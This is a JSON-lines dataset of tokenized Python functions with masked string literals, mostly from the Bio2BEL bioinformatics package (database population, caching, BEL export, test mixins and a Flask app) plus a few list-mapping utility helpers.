{"signature": "def _iterate_managers(connection, skip):", "body": "for idx, name, manager_cls in _iterate_manage_classes(skip):<EOL><INDENT>if name in skip:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>manager = manager_cls(connection=connection)<EOL><DEDENT>except TypeError as e:<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>yield idx, name, manager<EOL><DEDENT><DEDENT>", "docstring": "Iterate over instantiated managers.", "id": "f1584:m0"}
{"signature": "@main.command()<EOL>@connection_option<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>def populate(connection, reset, force, skip):", "body": "for idx, name, manager in _iterate_managers(connection, skip):<EOL><INDENT>click.echo(<EOL>click.style(f'<STR_LIT>', fg='<STR_LIT>', bold=True) +<EOL>click.style(f'<STR_LIT>', fg='<STR_LIT>', bold=True)<EOL>)<EOL>if reset:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>manager.drop_all()<EOL>click.echo('<STR_LIT>')<EOL>manager.create_all()<EOL><DEDENT>elif manager.is_populated() and not force:<EOL><INDENT>click.echo(f'<STR_LIT>', color='<STR_LIT>')<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>manager.populate()<EOL><DEDENT>except Exception:<EOL><INDENT>logger.exception('<STR_LIT>', name)<EOL>click.secho(f'<STR_LIT>', fg='<STR_LIT>', bold=True)<EOL><DEDENT><DEDENT>", "docstring": "Populate all.", "id": "f1584:m2"}
{"signature": "@main.command(help='<STR_LIT>')<EOL>@click.confirmation_option('<STR_LIT>')<EOL>@connection_option<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>def drop(connection, skip):", "body": "for idx, name, manager in _iterate_managers(connection, skip):<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>', bold=True)<EOL>manager.drop_all()<EOL><DEDENT>", "docstring": "Drop all.", "id": "f1584:m3"}
{"signature": "@main.group()<EOL>def cache():", "body": "", "docstring": "Manage caches.", "id": "f1584:m4"}
{"signature": "@cache.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>def clear(skip):", "body": "for name in sorted(MODULES):<EOL><INDENT>if name in skip:<EOL><INDENT>continue<EOL><DEDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>', bold=True)<EOL>clear_cache(name)<EOL><DEDENT>", "docstring": "Clear all caches.", "id": "f1584:m5"}
{"signature": "@main.command()<EOL>@connection_option<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>def summarize(connection, skip):", "body": "for idx, name, manager in _iterate_managers(connection, skip):<EOL><INDENT>click.secho(name, fg='<STR_LIT>', bold=True)<EOL>if not manager.is_populated():<EOL><INDENT>click.echo('<STR_LIT>')<EOL>continue<EOL><DEDENT>if isinstance(manager, BELNamespaceManagerMixin):<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>if isinstance(manager, BELManagerMixin):<EOL><INDENT>try:<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>')<EOL><DEDENT>except TypeError as e:<EOL><INDENT>click.secho(str(e), fg='<STR_LIT>')<EOL><DEDENT><DEDENT>for field_name, count in sorted(manager.summarize().items()):<EOL><INDENT>click.echo(<EOL>click.style('<STR_LIT>', fg='<STR_LIT>', bold=True) + f\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Summarize all.", "id": "f1584:m6"}
{"signature": "@main.command()<EOL>@connection_option<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout)<EOL>def sheet(connection, skip, file: TextIO):", "body": "from tabulate import tabulate<EOL>header = ['<STR_LIT>', '<STR_LIT:Name>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>rows = []<EOL>for i, (idx, name, manager) in enumerate(_iterate_managers(connection, skip), start=<NUM_LIT:1>):<EOL><INDENT>try:<EOL><INDENT>if not manager.is_populated():<EOL><INDENT>continue<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>')<EOL>continue<EOL><DEDENT>terms, relations = None, None<EOL>if isinstance(manager, BELNamespaceManagerMixin):<EOL><INDENT>terms = manager._count_model(manager.namespace_model)<EOL><DEDENT>if isinstance(manager, BELManagerMixin):<EOL><INDENT>try:<EOL><INDENT>relations = manager.count_relations()<EOL><DEDENT>except TypeError as e:<EOL><INDENT>relations = str(e)<EOL><DEDENT><DEDENT>rows.append((i, name, manager.__doc__.split('<STR_LIT:\\n>')[<NUM_LIT:0>].strip().strip('<STR_LIT:.>'), terms, relations))<EOL><DEDENT>print(tabulate(<EOL>rows,<EOL>headers=header,<EOL>))<EOL>", "docstring": "Generate a summary sheet.", "id": "f1584:m7"}
{"signature": "@main.group()<EOL>def belns():", "body": "", "docstring": "Manage BEL namespaces.", "id": "f1584:m8"}
{"signature": "@belns.command()<EOL>@connection_option<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(file_okay=False, dir_okay=True), default=os.getcwd(),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>def write(connection, skip, directory, force):", "body": "os.makedirs(directory, exist_ok=True)<EOL>from .manager.namespace_manager import BELNamespaceManagerMixin<EOL>for idx, name, manager in _iterate_managers(connection, skip):<EOL><INDENT>if not (isinstance(manager, AbstractManager) and isinstance(manager, BELNamespaceManagerMixin)):<EOL><INDENT>continue<EOL><DEDENT>click.secho(name, fg='<STR_LIT>', bold=True)<EOL>if force:<EOL><INDENT>try:<EOL><INDENT>click.echo(f'<STR_LIT>')<EOL>manager.drop_all()<EOL>click.echo('<STR_LIT>')<EOL>clear_cache(name)<EOL>click.echo('<STR_LIT>')<EOL>manager.populate()<EOL><DEDENT>except Exception:<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>')<EOL>continue<EOL><DEDENT><DEDENT>try:<EOL><INDENT>r = manager.write_directory(directory)<EOL><DEDENT>except TypeError as e:<EOL><INDENT>click.secho(f'<STR_LIT>'.rstrip(), fg='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if not r:<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Write a BEL namespace names/identifiers to terminology store.", "id": "f1584:m9"}
{"signature": "@main.group()<EOL>def bel():", "body": "", "docstring": "Manage BEL.", "id": "f1584:m10"}
{"signature": "@bel.command()  <EOL>@connection_option<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(file_okay=False, dir_okay=True), default=os.getcwd(),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>def write(connection, skip, directory, force):", "body": "os.makedirs(directory, exist_ok=True)<EOL>from .manager.bel_manager import BELManagerMixin<EOL>import pybel<EOL>for idx, name, manager in _iterate_managers(connection, skip):<EOL><INDENT>if not isinstance(manager, BELManagerMixin):<EOL><INDENT>continue<EOL><DEDENT>click.secho(name, fg='<STR_LIT>', bold=True)<EOL>path = os.path.join(directory, f'<STR_LIT>')<EOL>if os.path.exists(path) and not force:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>continue<EOL><DEDENT>if not manager.is_populated():<EOL><INDENT>click.echo('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>graph = manager.to_bel()<EOL>pybel.to_pickle(graph, path)<EOL>pybel.to_json_path(graph, os.path.join(directory, f'<STR_LIT>'))<EOL><DEDENT><DEDENT>", "docstring": "Write all as BEL.", "id": "f1584:m11"}
{"signature": "@main.command()<EOL>@connection_option<EOL>@click.option('<STR_LIT>', default='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, default=<NUM_LIT>)<EOL>def web(connection, host, port):", "body": "from bio2bel.web.application import create_application<EOL>app = create_application(connection=connection)<EOL>app.run(host=host, port=port)<EOL>", "docstring": "Run a combine web interface.", "id": "f1584:m12"}
{"signature": "@main.command()<EOL>@connection_option<EOL>def actions(connection):", "body": "session = _make_session(connection=connection)<EOL>for action in Action.ls(session=session):<EOL><INDENT>click.echo(f'<STR_LIT>')<EOL><DEDENT>", "docstring": "List all actions.", "id": "f1584:m13"}
{"signature": "def get_global_connection() -> str:", "body": "return config.connection<EOL>", "docstring": "Return the global connection string.", "id": "f1585:m0"}
{"signature": "def __init__(self, group):", "body": "self.group = group<EOL>", "docstring": "Initialize the importer with the group name.\n\n        :param str group: a string representing the package resources entry_points group that will be used", "id": "f1586:c0:m0"}
{"signature": "def install(self):", "body": "sys.meta_path.append(self)<EOL>", "docstring": "Call this method to install the new importer to :code:`sys.meta_path`. Should probably only be done once.", "id": "f1586:c0:m2"}
{"signature": "def find_module(self, fullname, path=None):", "body": "if not fullname.startswith(self._group_with_dot):<EOL><INDENT>return<EOL><DEDENT>end_name = fullname[len(self._group_with_dot):]<EOL>for entry_point in iter_entry_points(group=self.group, name=None):<EOL><INDENT>if entry_point.name == end_name:<EOL><INDENT>return self<EOL><DEDENT><DEDENT>", "docstring": "Find a module if its name starts with :code:`self.group` and is registered.", "id": "f1586:c0:m3"}
{"signature": "def load_module(self, fullname):", "body": "if fullname in sys.modules:<EOL><INDENT>return sys.modules[fullname]<EOL><DEDENT>end_name = fullname[len(self._group_with_dot):]<EOL>for entry_point in iter_entry_points(group=self.group, name=end_name):<EOL><INDENT>mod = entry_point.load()<EOL>sys.modules[fullname] = mod<EOL>return mod<EOL><DEDENT>", "docstring": "Load a module if its name starts with :code:`self.group` and is registered.", "id": "f1586:c0:m4"}
{"signature": "def make_obo_getter(data_url: str,<EOL>data_path: str,<EOL>*,<EOL>preparsed_path: Optional[str] = None,<EOL>) -> Callable[[Optional[str], bool, bool], MultiDiGraph]:", "body": "download_function = make_downloader(data_url, data_path)<EOL>def get_obo(url: Optional[str] = None, cache: bool = True, force_download: bool = False) -> MultiDiGraph:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if preparsed_path is not None and os.path.exists(preparsed_path):<EOL><INDENT>return read_gpickle(preparsed_path)<EOL><DEDENT>if url is None and cache:<EOL><INDENT>url = download_function(force_download=force_download)<EOL><DEDENT>result = obonet.read_obo(url)<EOL>if preparsed_path is not None:<EOL><INDENT>write_gpickle(result, preparsed_path)<EOL><DEDENT>return result<EOL><DEDENT>return get_obo<EOL>", "docstring": "Build a function that handles downloading OBO data and parsing it into a NetworkX object.\n\n    :param data_url: The URL of the data\n    :param data_path: The path where the data should get stored\n    :param preparsed_path: The optional path to cache a pre-parsed json version", "id": "f1589:m0"}
{"signature": "@click.group()<EOL>def main():", "body": "", "docstring": "OBO Utilities.", "id": "f1589:m1"}
{"signature": "@main.command()<EOL>@click.argument('<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'))<EOL>@click.option('<STR_LIT>', '<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True)<EOL>def belns(keyword: str, file: TextIO, encoding: Optional[str], use_names: bool):", "body": "directory = get_data_dir(keyword)<EOL>obo_url = f'<STR_LIT>'<EOL>obo_path = os.path.join(directory, f'<STR_LIT>')<EOL>obo_cache_path = os.path.join(directory, f'<STR_LIT>')<EOL>obo_getter = make_obo_getter(obo_url, obo_path, preparsed_path=obo_cache_path)<EOL>graph = obo_getter()<EOL>convert_obo_graph_to_belns(<EOL>graph,<EOL>file=file,<EOL>encoding=encoding,<EOL>use_names=use_names,<EOL>)<EOL>", "docstring": "Write as a BEL namespace.", "id": "f1589:m2"}
{"signature": "@main.command()<EOL>@click.argument('<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'))<EOL>def belanno(keyword: str, file: TextIO):", "body": "directory = get_data_dir(keyword)<EOL>obo_url = f'<STR_LIT>'<EOL>obo_path = os.path.join(directory, f'<STR_LIT>')<EOL>obo_cache_path = os.path.join(directory, f'<STR_LIT>')<EOL>obo_getter = make_obo_getter(obo_url, obo_path, preparsed_path=obo_cache_path)<EOL>graph = obo_getter()<EOL>convert_obo_graph_to_belanno(<EOL>graph,<EOL>file=file,<EOL>)<EOL>", "docstring": "Write as a BEL annotation.", "id": "f1589:m3"}
{"signature": "def make_temporary_cache_class_mixin(manager_cls: Type[AbstractManager]) -> Type[<EOL>AbstractTemporaryCacheClassMixin]:  ", "body": "class TemporaryCacheClassMixin(AbstractTemporaryCacheClassMixin):<EOL><INDENT>Manager = manager_cls<EOL><DEDENT>return TemporaryCacheClassMixin<EOL>", "docstring": "Build a testing class that has a Bio2BEL manager instance ready to go.", "id": "f1590:m0"}
{"signature": "def setUp(self):", "body": "super().setUp()<EOL>self.fd, self.path = tempfile.mkstemp()<EOL>self.connection = '<STR_LIT>' + self.path<EOL>log.info('<STR_LIT>', self.connection)<EOL>", "docstring": "Create a temporary file to use as a persistent database throughout tests in this class.", "id": "f1590:c0:m0"}
{"signature": "def tearDown(self):", "body": "os.close(self.fd)<EOL>os.remove(self.path)<EOL>", "docstring": "Close the connection to the database and removes the files created for it.", "id": "f1590:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "super().setUpClass()<EOL>cls.fd, cls.path = tempfile.mkstemp()<EOL>cls.connection = '<STR_LIT>' + cls.path<EOL>log.info('<STR_LIT>', cls.connection)<EOL>", "docstring": "Create a temporary file to use as a persistent database throughout tests in this class.\n\n        Subclasses of :class:`TemporaryCacheClsMixin` can extend :func:`TemporaryCacheClsMixin.setUpClass` to populate\n        the database.", "id": "f1590:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def tearDownClass(cls):<DEDENT>", "body": "os.close(cls.fd)<EOL>os.remove(cls.path)<EOL>", "docstring": "Close the connection to the database and removes the files created for it.", "id": "f1590:c1:m1"}
{"signature": "def setUp(self):", "body": "super().setUp()<EOL>def mock_connection() -> str:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return self.connection<EOL><DEDENT>self.mock_global_connection = mock.patch('<STR_LIT>', mock_connection)<EOL>self.mock_module_connection = mock.patch('<STR_LIT>', mock_connection)<EOL>", "docstring": "Set up the test with a mock connection string.\n\n        Add two class-level variables: ``mock_global_connection`` and ``mock_module_connection`` that can be\n        used as context managers to mock the bio2bel connection getter functions.", "id": "f1590:c2:m0"}
{"signature": "def setUp(self):", "body": "if self.Manager is ...:<EOL><INDENT>raise Bio2BELTestMissingManagerError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if not issubclass(self.Manager, AbstractManager):<EOL><INDENT>raise Bio2BELManagerTypeError('<STR_LIT>')<EOL><DEDENT>super().setUp()<EOL>self.manager = self.Manager(connection=self.connection)<EOL>self.populate()<EOL>", "docstring": "Set up the class with the given manager and allows an optional populate hook to be overridden.", "id": "f1590:c3:m0"}
{"signature": "def tearDown(self):", "body": "self.manager.session.close()<EOL>super().tearDown()<EOL>", "docstring": "Close the connection in the manager and deletes the temporary database.", "id": "f1590:c3:m1"}
{"signature": "def populate(self) -> None:", "body": "", "docstring": "Populate the database.\n\n        This stub should be overridden.", "id": "f1590:c3:m2"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "if cls.Manager is ...:<EOL><INDENT>raise Bio2BELTestMissingManagerError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if not issubclass(cls.Manager, AbstractManager):<EOL><INDENT>raise Bio2BELManagerTypeError('<STR_LIT>')<EOL><DEDENT>super().setUpClass()<EOL>cls.manager = cls.Manager(connection=cls.connection)<EOL>cls.populate()<EOL>", "docstring": "Set up the class with the given manager and allows an optional populate hook to be overridden.", "id": "f1590:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def tearDownClass(cls):<DEDENT>", "body": "cls.manager.session.close()<EOL>super().tearDownClass()<EOL>", "docstring": "Close the connection in the manager and deletes the temporary database.", "id": "f1590:c4:m1"}
{"signature": "@classmethod<EOL><INDENT>def populate(cls):<DEDENT>", "body": "", "docstring": "Populate the database.\n\n        This stub should be overridden.", "id": "f1590:c4:m2"}
{"signature": "def get_data_dir(module_name: str) -> str:", "body": "module_name = module_name.lower()<EOL>data_dir = os.path.join(BIO2BEL_DIR, module_name)<EOL>os.makedirs(data_dir, exist_ok=True)<EOL>return data_dir<EOL>", "docstring": "Ensure the appropriate Bio2BEL data directory exists for the given module, then returns the file path.\n\n    :param module_name: The name of the module. Ex: 'chembl'\n    :return: The module's data directory", "id": "f1592:m0"}
{"signature": "def get_module_config_cls(module_name: str) -> Type[_AbstractModuleConfig]:  ", "body": "class ModuleConfig(_AbstractModuleConfig):<EOL><INDENT>NAME = f'<STR_LIT>'<EOL>FILES = DEFAULT_CONFIG_PATHS + [<EOL>os.path.join(DEFAULT_CONFIG_DIRECTORY, module_name, '<STR_LIT>')<EOL>]<EOL><DEDENT>return ModuleConfig<EOL>", "docstring": "Build a module configuration class.", "id": "f1592:m1"}
{"signature": "def get_connection(module_name: str, connection: Optional[str] = None) -> str:", "body": "<EOL>if connection is not None:<EOL><INDENT>return connection<EOL><DEDENT>module_name = module_name.lower()<EOL>module_config_cls = get_module_config_cls(module_name)<EOL>module_config = module_config_cls.load()<EOL>return module_config.connection or config.connection<EOL>", "docstring": "Return the SQLAlchemy connection string if it is set.\n\n    Order of operations:\n\n    1. Return the connection if given as a parameter\n    2. Check the environment for BIO2BEL_{module_name}_CONNECTION\n    3. Look in the bio2bel config file for module-specific connection. Create if doesn't exist. Check the\n       module-specific section for ``connection``\n    4. Look in the bio2bel module folder for a config file. Don't create if doesn't exist. Check the default section\n       for ``connection``\n    5. Check the environment for BIO2BEL_CONNECTION\n    6. Check the bio2bel config file for default\n    7. Fall back to standard default cache connection\n\n    :param module_name: The name of the module to get the configuration for\n    :param connection: get the SQLAlchemy connection string\n    :return: The SQLAlchemy connection string based on the configuration", "id": "f1592:m2"}
{"signature": "def get_version() -> str:", "body": "return VERSION<EOL>", "docstring": "Get the software version of Bio2BEL.", "id": "f1592:m3"}
{"signature": "def get_modules() -> Mapping:", "body": "modules = {}<EOL>for entry_point in iter_entry_points(group='<STR_LIT>', name=None):<EOL><INDENT>entry = entry_point.name<EOL>try:<EOL><INDENT>modules[entry] = entry_point.load()<EOL><DEDENT>except VersionConflict as exc:<EOL><INDENT>log.warning('<STR_LIT>', entry, exc)<EOL>continue<EOL><DEDENT>except UnknownExtra as exc:<EOL><INDENT>log.warning('<STR_LIT>', entry, exc)<EOL>continue<EOL><DEDENT>except ImportError as exc:<EOL><INDENT>log.exception('<STR_LIT>', entry, exc)<EOL>continue<EOL><DEDENT><DEDENT>return modules<EOL>", "docstring": "Get all Bio2BEL modules.", "id": "f1592:m4"}
{"signature": "def clear_cache(module_name: str, keep_database: bool = True) -> None:", "body": "data_dir = get_data_dir(module_name)<EOL>if not os.path.exists(data_dir):<EOL><INDENT>return<EOL><DEDENT>for name in os.listdir(data_dir):<EOL><INDENT>if name in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>continue<EOL><DEDENT>if name == '<STR_LIT>' and keep_database:<EOL><INDENT>continue<EOL><DEDENT>path = os.path.join(data_dir, name)<EOL>if os.path.isdir(path):<EOL><INDENT>shutil.rmtree(path)<EOL><DEDENT>else:<EOL><INDENT>os.remove(path)<EOL><DEDENT>os.rmdir(data_dir)<EOL><DEDENT>", "docstring": "Clear all downloaded files.", "id": "f1592:m5"}
{"signature": "def _store_helper(model: Action, session: Optional[Session] = None) -> None:", "body": "if session is None:<EOL><INDENT>session = _make_session()<EOL><DEDENT>session.add(model)<EOL>session.commit()<EOL>session.close()<EOL>", "docstring": "Help store an action.", "id": "f1593:m0"}
{"signature": "def _make_session(connection: Optional[str] = None) -> Session:", "body": "if connection is None:<EOL><INDENT>connection = get_global_connection()<EOL><DEDENT>engine = create_engine(connection)<EOL>create_all(engine)<EOL>session_cls = sessionmaker(bind=engine)<EOL>session = session_cls()<EOL>return session<EOL>", "docstring": "Make a session.", "id": "f1593:m1"}
{"signature": "def create_all(engine, checkfirst=True):", "body": "Base.metadata.create_all(bind=engine, checkfirst=checkfirst)<EOL>", "docstring": "Create the tables for Bio2BEL.", "id": "f1593:m2"}
{"signature": "@staticmethod<EOL><INDENT>def make_populate(resource: str) -> '<STR_LIT>':<DEDENT>", "body": "return Action(resource=resource.lower(), action='<STR_LIT>')<EOL>", "docstring": "Make a ``populate`` instance of :class:`Action`.", "id": "f1593:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def make_populate_failed(resource: str) -> '<STR_LIT>':<DEDENT>", "body": "return Action(resource=resource.lower(), action='<STR_LIT>')<EOL>", "docstring": "Make a ``populate_failed`` instance of :class:`Action`.", "id": "f1593:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def make_drop(resource: str) -> '<STR_LIT>':<DEDENT>", "body": "return Action(resource=resource.lower(), action='<STR_LIT>')<EOL>", "docstring": "Make a ``drop`` instance of :class:`Action`.", "id": "f1593:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def store_populate(cls, resource: str, session: Optional[Session] = None) -> '<STR_LIT>':<DEDENT>", "body": "action = cls.make_populate(resource)<EOL>_store_helper(action, session=session)<EOL>return action<EOL>", "docstring": "Store a \"populate\" event.\n\n        :param resource: The normalized name of the resource to store\n\n        Example:\n\n        >>> from bio2bel.models import Action\n        >>> Action.store_populate('hgnc')", "id": "f1593:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def store_populate_failed(cls, resource: str, session: Optional[Session] = None) -> '<STR_LIT>':<DEDENT>", "body": "action = cls.make_populate_failed(resource)<EOL>_store_helper(action, session=session)<EOL>return action<EOL>", "docstring": "Store a \"populate failed\" event.\n\n        :param resource: The normalized name of the resource to store\n\n        Example:\n\n        >>> from bio2bel.models import Action\n        >>> Action.store_populate_failed('hgnc')", "id": "f1593:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def store_drop(cls, resource: str, session: Optional[Session] = None) -> '<STR_LIT>':<DEDENT>", "body": "action = cls.make_drop(resource)<EOL>_store_helper(action, session=session)<EOL>return action<EOL>", "docstring": "Store a \"drop\" event.\n\n        :param resource: The normalized name of the resource to store\n\n        Example:\n\n        >>> from bio2bel.models import Action\n        >>> Action.store_drop('hgnc')", "id": "f1593:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def ls(cls, session: Optional[Session] = None) -> List['<STR_LIT>']:<DEDENT>", "body": "if session is None:<EOL><INDENT>session = _make_session()<EOL><DEDENT>actions = session.query(cls).order_by(cls.created.desc()).all()<EOL>session.close()<EOL>return actions<EOL>", "docstring": "Get all actions.", "id": "f1593:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def count(cls, session: Optional[Session] = None) -> int:<DEDENT>", "body": "if session is None:<EOL><INDENT>session = _make_session()<EOL><DEDENT>count = session.query(cls).count()<EOL>session.close()<EOL>return count<EOL>", "docstring": "Count all actions.", "id": "f1593:c0:m8"}
{"signature": "@ui.route('<STR_LIT:/>')<EOL>def home():", "body": "return render_template('<STR_LIT>', entries=sorted(add_admins))<EOL>", "docstring": "Show the home page.", "id": "f1594:m0"}
{"signature": "def create_application(connection: Optional[str] = None) -> Flask:", "body": "app = Flask(__name__)<EOL>flask_bootstrap.Bootstrap(app)<EOL>Admin(app)<EOL>connection = connection or DEFAULT_CACHE_CONNECTION<EOL>engine, session = build_engine_session(connection)<EOL>for name, add_admin in add_admins.items():<EOL><INDENT>url = '<STR_LIT>'.format(name)<EOL>add_admin(app, session, url=url, endpoint=name, name=name)<EOL>log.debug('<STR_LIT>', name, add_admin, url)<EOL><DEDENT>app.register_blueprint(ui)<EOL>return app<EOL>", "docstring": "Create a Flask application.", "id": "f1594:m1"}
{"signature": "def read(*parts):", "body": "with codecs.open(os.path.join(HERE, *parts), '<STR_LIT:rb>', '<STR_LIT:utf-8>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Build an absolute path from *parts* and return the contents of the resulting file. Assume UTF-8 encoding.", "id": "f1597:m0"}
{"signature": "def find_meta(meta):", "body": "meta_match = re.search(<EOL>r'<STR_LIT>'.format(meta=meta),<EOL>META_FILE, re.M<EOL>)<EOL>if meta_match:<EOL><INDENT>return meta_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError('<STR_LIT>'.format(meta=meta))<EOL>", "docstring": "Extract __*meta*__ from META_FILE.", "id": "f1597:m1"}
{"signature": "def get_long_description():", "body": "with codecs.open(os.path.join(HERE, '<STR_LIT>'), encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>long_description = f.read()<EOL><DEDENT>return long_description<EOL>", "docstring": "Get the long_description from the README.rst file. Assume UTF-8 encoding.", "id": "f1597:m2"}
{"signature": "def mapfivo(ol,*args,**kwargs):", "body": "args = list(args)<EOL>lngth = args.__len__()<EOL>if(lngth==<NUM_LIT:0>):<EOL><INDENT>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL><DEDENT>elif(lngth==<NUM_LIT:1>):<EOL><INDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>diff_funcs_arr = args[<NUM_LIT:0>]<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>diff_args_arr = args[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>diff_funcs_arr = args[<NUM_LIT:0>]<EOL>diff_args_arr = args[<NUM_LIT:1>]<EOL><DEDENT>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = diff_args_arr[i]<EOL>ele = func(index,value,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapfivo          f,i,v,o\u56db\u5143\u51b3\u5b9a                     fivo-4-tuple-engine\n#map_func         diff_func(index,value,*diff_args)", "id": "f1599:m0"}
{"signature": "def mapfiv(ol,map_func_args,**kwargs):", "body": "lngth = ol.__len__()<EOL>diff_funcs_arr = kwargs['<STR_LIT>']<EOL>common_args_arr = init(lngth,map_func_args)<EOL>rslt = mapfivo(ol,map_funcs=diff_funcs_arr,map_func_args_array=common_args_arr)<EOL>return(rslt)<EOL>", "docstring": "#mapfiv           \u5171\u4eab\u76f8\u540c\u7684o                         share common other_args\n#map_func         diff_func(index,value,*common_args)", "id": "f1599:m1"}
{"signature": "def mapfio(ol,**kwargs):", "body": "diff_funcs_arr = kwargs['<STR_LIT>']<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = diff_args_arr[i]<EOL>ele = func(index,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapfio           v\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570                 NOT take value as a param for map_func\n#map_func         diff_func(index,*diff_args)", "id": "f1599:m2"}
{"signature": "def mapfvo(ol,**kwargs):", "body": "diff_funcs_arr = kwargs['<STR_LIT>']<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL>lngth = ol.__len__()<EOL>rslt = []<EOL>for i in range(<NUM_LIT:0>,lngth):<EOL><INDENT>index = i<EOL>value = ol[i]<EOL>func = diff_funcs_arr[i]<EOL>args = diff_args_arr[i]<EOL>ele = func(value,*args)<EOL>rslt.append(ele)<EOL><DEDENT>return(rslt)<EOL>", "docstring": "#mapfvo           i\u4e0d\u4f5c\u4e3amap_func\u53c2\u6570                 NOT take index as a param for map_func\n#map_func         diff_func(value,*diff_args)", "id": "f1599:m3"}
{"signature": "def mapivo(ol,map_func,**kwargs):", "body": "lngth = ol.__len__()<EOL>common_funcs_arr = init(lngth,map_func)<EOL>diff_args_arr = kwargs['<STR_LIT>']<EOL>rslt = mapfivo(ol,map_funcs=common_funcs_arr,map_func_args_array=diff_args_arr)<EOL>return(rslt)<EOL>", "docstring": "#mapivo           \u5171\u4eab\u76f8\u540c\u7684f                         share common map_func\n#map_func         common_func(index,value,*diff_args)", "id": "f1599:m4"}
